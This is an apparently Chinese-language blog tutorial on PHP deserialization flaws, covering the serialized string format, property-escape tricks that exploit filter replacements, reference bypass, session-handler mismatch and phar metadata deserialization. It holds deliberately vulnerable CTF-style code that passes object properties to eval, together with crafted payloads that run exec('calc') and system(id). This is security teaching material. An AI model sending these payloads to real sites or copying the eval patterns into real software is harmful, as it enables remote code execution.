php 序列化漏洞

介绍

反序列化漏洞,利用了后端服务的设计缺陷

序列化和反序列化

对象 =(序列化)》 字符串

对象 《(反序列化)= 字符串

序列化字符串构建

首先,理解下 对象 序列化后 是个 嘛玩意儿

上代码

<?php
class test{
    public $a = 'hello';
    private $b = 'hello';
    protected $c = 'hello';
    public function displayVar() {
        echo $this->a;
    }
}
$hxdyjx = new test();
echo serialize($hxdyjx);
echo PHP_EOL;
echo urlencode(serialize($hxdyjx));
//O:4:"test":3:{s:1:"a";s:5:"hello";s:7:"%00test%00b";s:5:"hello";s:4:"%00*%00c";s:5:"hello";}

对照理解

名称 意义
O:4:"test":3:{} 类 长度4 名称test 有3个小弟
s:1:"a";s:5:"hello" 一般的小弟 名字长度1 小弟叫a 小弟5cm长 铭文hello
s:7:"%00test%00b";s:5:"hello"; 大佬禁脔级小弟 名字长度7 小弟叫b(%00test%00 占了6个字节)小弟5cm长 铭文hello
s:4:"%00*%00c";s:5:"hello"; 受帮派保护的小弟 名字长度4 小弟叫c(%00*%00 占了3个字节)小弟5cm长 铭文hello

反序列化漏洞示例

<?php
class test{
    public $a = 'calc';
    public function displayVar() {
        eval($this->a);
    }
}

//$get = new test();
//$get = serialize($get);
//echo $get;

$get = 'O:4:"test":1:{s:1:"a";s:13:"exec("calc");";}';
$b = unserialize($get);
$b->displayVar() ;
?>

这里的'O:4:"test":1:{s:1:"a";s:13:"exec("calc");";}' 就是我构造的payload,如果是http 请求 ,是不是就是一个一句话木马啦?

字符串逃逸 增多 减少

特性

反序列化分隔符

反序列化以 ;} 结束,后面的字符串不影响正常的反序列化

属性逃逸

一般在数据先经过一次serialize再进过unserialize,在这个中间反序列化的字符串变多或者变少的时候 有可能存在反序列化逃逸

问题

为啥要先经过一此serialize 再进行 unserialize? 在 PHP 服务端中,将数据序列化然后再反序列化的常见原因有以下几点:

  1. 数据传输和存储:序列化后的数据通常可以更轻松地进行传输和存储。例如,可以将序列化后的数据存储在文件中、通过网络发送,或者存储在数据库中。
  2. 跨语言交互:序列化后的数据可以更容易地在不同的编程语言之间进行交互。通过序列化,可以将 PHP 中的数据转换为通用的格式,然后在其他语言中进行反序列化,从而实现跨语言通信。
  3. 数据结构不确定性:有时候,数据的结构可能会在运行时发生变化,或者数据的结构比较复杂,难以直接处理。通过序列化,可以将数据转换为字符串形式,然后在需要时再进行反序列化,使得数据的结构更加灵活,更容易处理。
  4. 缓存:在缓存数据时,通常会将数据序列化后存储起来。这样做可以减少数据在存储和检索过程中的转换成本,并且可以更有效地利用缓存空间。

逃逸思路

  1. 判断是增多还是减少。
  2. 增多的情况:想办法覆盖掉,需要替换的字符。
  3. 减少的情况:想办法合入到一个value 值中。
  4. 判断哪个属性需要逃逸。

变多

示例

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hack",$name);
    return $name;
}
class test{
    var $user;
    var $pass='daydream';
    function __construct($user){
        $this->user=$user;
    }
}
$param='paylaod'
$param=serialize(new test($param));
$profile=unserialize(filter($param));

if ($profile->pass=='escaping'){
    echo file_get_contents("flag.php");
}
?>

构造

<?php
class test{
    var $user='php';
    var $pass='daydream';
    //daydream => escaping
}
echo serialize(new test());
//O:4:"test":2:{s:4:"user";s:3:"php";s:4:"pass";s:8:"daydream";}

//   ";s:4:"pass";s:8:"daydream";} 截取这段代码,使用php来覆盖内容 29个字符 = 29个 'php',最后添加  ";s:4:"pass";s:8:"escaping";}

payload

payload:  phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}

之后将这段payload 打到 param 中就可以啦~

变少

示例

<?php
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hk",$name);
    echo $name.PHP_EOL;
    return $name;
}
class test{
    var $user;
    var $pass;
    var $vip = false ;
    function __construct($user,$pass){
        $this->user=$user;
        $this->pass=$pass;
    }
}
$param='payload';
$pass='";s:4:"pass";s:2:"11";s:3:"vip";b:1;}';
$param=serialize(new test($param,$pass));
echo $param.PHP_EOL;
$profile=unserialize(filter($param));

if ($profile->vip){
    echo 'SUCC';
}

构造

<?php
class test{
    var $user ='phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp';
    var $pass ='";s:3:"vip";b:1;s:4:"pass";s:2:"11"}';
    var $vip = true ;
}
echo serialize(new test);

paylaod

user: phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp
pass: ";s:3:"vip";b:1;s:4:"pass";s:2:"11"}

引用绕过

介绍

根据php 引用的特性构造序列化漏洞

示例

<?php
class just4fun {
    var $enter;
    var $secret;
}

$hxdyjx = new just4fun();
$hxdyjx->enter = &$hxdyjx->secret;
echo serialize($hxdyjx);

构造

<?php
class just4fun {
    var $enter;
    var $secret;
}

$hxdyjx = new just4fun();
$hxdyjx->enter = &$hxdyjx->secret;
echo serialize($hxdyjx);

payload

O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}

解析下R2 是怎么生成的

<?php
class just4fun {
    var $hxdyjx1 = 'xxx';
    var $secret;
    var $enter;
    var $hxdyjx2 = 'xxx';

}

$hxdyjx = new just4fun();
$hxdyjx->enter = &$hxdyjx->secret;
echo serialize($hxdyjx);

// O:8:"just4fun":4:{s:7:"hxdyjx1";s:3:"xxx";s:6:"secret";N;s:5:"enter";R:3;s:7:"hxdyjx2";s:3:"xxx";}

Session 序列化

产生原因

写入格式和读取格式不一致

处理器 存储格式
php benben|s:6:"123456";
php_serizalize(php>=5.5.4) a:2:
php_binary 没用到

示例

写入php序列化格式

<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['ben'] = $_GET['a'];
?>

读取php格式

<?php 
highlight_file(__FILE__);
error_reporting(0);

ini_set('session.serialize_handler','php');
session_start();

class D{
    var $a;
    function __destruct(){
        eval($this->a);
    }
}
?>

payload 构建

<?php
class D{
    var $a='system(id)';
}

echo serialize(new D);

payload

|O:1:"D":1:{s:1:"a";s:11:"system(id);";}

Phar 序列化

结构

stub phar 文件标识,格式为xxx (头部信息)

manifest 压缩文件的属性等信息,以序列化存储;

contents 压缩文件的内容;

signature 签名,放在文件末尾;

Phar 协议解析文件时,会自动触发manifest 的序列化字段,进行反序列化

触发条件

  1. phar 文件能上传到服务器端(./upload.php)
  2. 要有可用反序列化魔术方法作为跳板(_destruct())
  3. 要有文件操作函数(md5_file)
  4. 文件操作函数参数可控($_POST['file'])
  5. 版本高于 php5.3 (这个还要去调研下)

生成phar

条件

php>=5.2 在php.ini 中将phar.readonly 设为off(注意去掉前面的分号)

构建phar

<?php
highlight_file(__FILE__);
class TestObject{

}
@unlink('test.phar');
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER();>');
$o=new TestObject();
$phar->setMetadata($o);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();

posted @ 2024-03-08 18:54  hxdyjx  阅读(15)  评论(0编辑  收藏  举报